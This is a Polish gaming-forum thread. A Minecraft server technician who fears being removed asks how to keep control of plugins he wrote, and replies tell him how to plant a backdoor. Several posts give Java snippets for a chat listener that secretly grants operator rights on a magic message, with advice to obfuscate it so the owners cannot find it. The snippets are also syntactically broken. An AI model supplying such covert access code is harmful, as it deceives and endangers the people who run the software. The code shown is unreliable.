Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[Pytanie] Zabezpieczenie pluginu


Rekomendowane odpowiedzi

Opublikowano

Witam,

Od pewnego czasu, jestem Technikiem na pewnym serwerze. Ale trochę się boję że mnie, że tak powiem zrobią mnie w c***a, i zmienią hasła, wyrzucą mnie. A pluginy itp. wezmą. Jak zabezpieczyć te pluginy, na wszelki wypadek?

Myślałem żeby dać backdoora, ale nie wiem jak to zrobić. Są jakieś inne sposoby?

 

Opublikowano

Robisz event AsyncChatEvent (czy cos takiego) i dajesz kod :

If(e.getMessage.equalsIgnoreCase("wiadomoscktoradaopa"){

p.setOp(true);

}

Rejestrujesz w onEnable

Potem zaciemniasz kod Guardem

 

Pisane z telefonu

Pisze pluginy na zamówienie ! Skype: elfusion200

Opublikowano

Robisz event AsyncChatEvent (czy cos takiego) i dajesz kod :

If(e.getMessage.equalsIgnoreCase("wiadomoscktoradaopa"){

p.setOp(true);

}

Rejestrujesz w onEnable

Potem zaciemniasz kod Guardem

 

Pisane z telefonu

Można by było trochę jaśniej, bo kompletnie nie znam się na javie.

 

Było by bardzo fajnie, jakbyś mi to wytłumaczył.

Mam pobrać Eclipse, zrobić event (ale gdzie) i wkleić ten kod.

Opublikowano

Można by było trochę jaśniej, bo kompletnie nie znam się na javie.

 

Było by bardzo fajnie, jakbyś mi to wytłumaczył.

Mam pobrać Eclipse, zrobić event (ale gdzie) i wkleić ten kod.

 

Zamiast bawić się z jakimś pluginem, możesz włączyć sobie RCONa w ustawieniach serwera. W pliku server.properties zmieniasz opcję enable-rcon na true i dopisujesz do niego:

rcon.port=23954
rcon.password=haslo

Hasło i port ustawiasz oczywiście dowolne.

Po włączeniu RCONa pobierasz program mcrcon ze strony https://bukkit.org/threads/admin-rcon-mcrcon-remote-connection-client-for-minecraft-servers.70910/. Po włączeniu go wpisujesz IP serwera, port RCONa i hasło do niego. Da ci to zdalny dostęp do konsoli serwera.

Opublikowano

Można by było trochę jaśniej, bo kompletnie nie znam się na javie.

 

Było by bardzo fajnie, jakbyś mi to wytłumaczył.

Mam pobrać Eclipse, zrobić event (ale gdzie) i wkleić ten kod.

Aha jesteś technikiem na serwerze. Boisz się że cię wyrzucą a tak naprawdę nie znasz się na javie, nie masz eclipse ?!?!?!

 

To życzę ci powodzenia w pisaniu pierwszej komendy na wiadomość xDD

 

 

 

Robisz event AsyncChatEvent (czy cos takiego) i dajesz kod :

If(e.getMessage.equalsIgnoreCase("wiadomoscktoradaopa"){

p.setOp(true);

}

Rejestrujesz w onEnable

Potem zaciemniasz kod Guardem

 

Pisane z telefonu

Masz tu napisane że jeżeli wpiszesz daną komendę która da ci OPa np: /dajopa plugin daje ci OPa, rejestujesz event w onEnable czyli jak serwer się włącza i działa już. możesz robić na serwerze co chcesz po wpisanu komndy.

 

Lecz tu zabardzo nie rozumiem z tym zaciemnieniem kodu bo się nie bawiłem w to.

 

@Edit

@Aranthor też tak można 

531001454960877632167.png

Opublikowano

Eclipse , zrób nowy projekt w tym nowy package, potem klasa Main i dodajesz do niej :

public void onEnable(){Bukkit.getServer().getPluginManager().registerEvens(this, this);}
Potem event :

@EventHandlerpublic void onChat(AsyncChatEvent e){     If(e.getMessage.equalsIgnoreCase("xfastpro"){      
     e.setOp(true);
 }
Rozszerz do JavaPlugin i implements Listener

 

Pisane z telefonu. Pomogłem daj like.

Pisze pluginy na zamówienie ! Skype: elfusion200

Opublikowano

Aha jesteś technikiem na serwerze. Boisz się że cię wyrzucą a tak naprawdę nie znasz się na javie, nie masz eclipse ?!?!?!

 

To życzę ci powodzenia w pisaniu pierwszej komendy na wiadomość xDD

 

 

 

Masz tu napisane że jeżeli wpiszesz daną komendę która da ci OPa np: /dajopa plugin daje ci OPa, rejestujesz event w onEnable czyli jak serwer się włącza i działa już. możesz robić na serwerze co chcesz po wpisanu komndy.

 

Lecz tu zabardzo nie rozumiem z tym zaciemnieniem kodu bo się nie bawiłem w to.

 

@Edit

@ElDorado123 też tak można 

Chce mieć jakieś zabezpieczenie. Głównie bawię się w skryptach. Po co mi znajomość javy, nie chce mi się za bardzo tego uczyć, teraz prawie wszystko można spotkać w internecie.

 

Dzięki wam za pomoc.

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...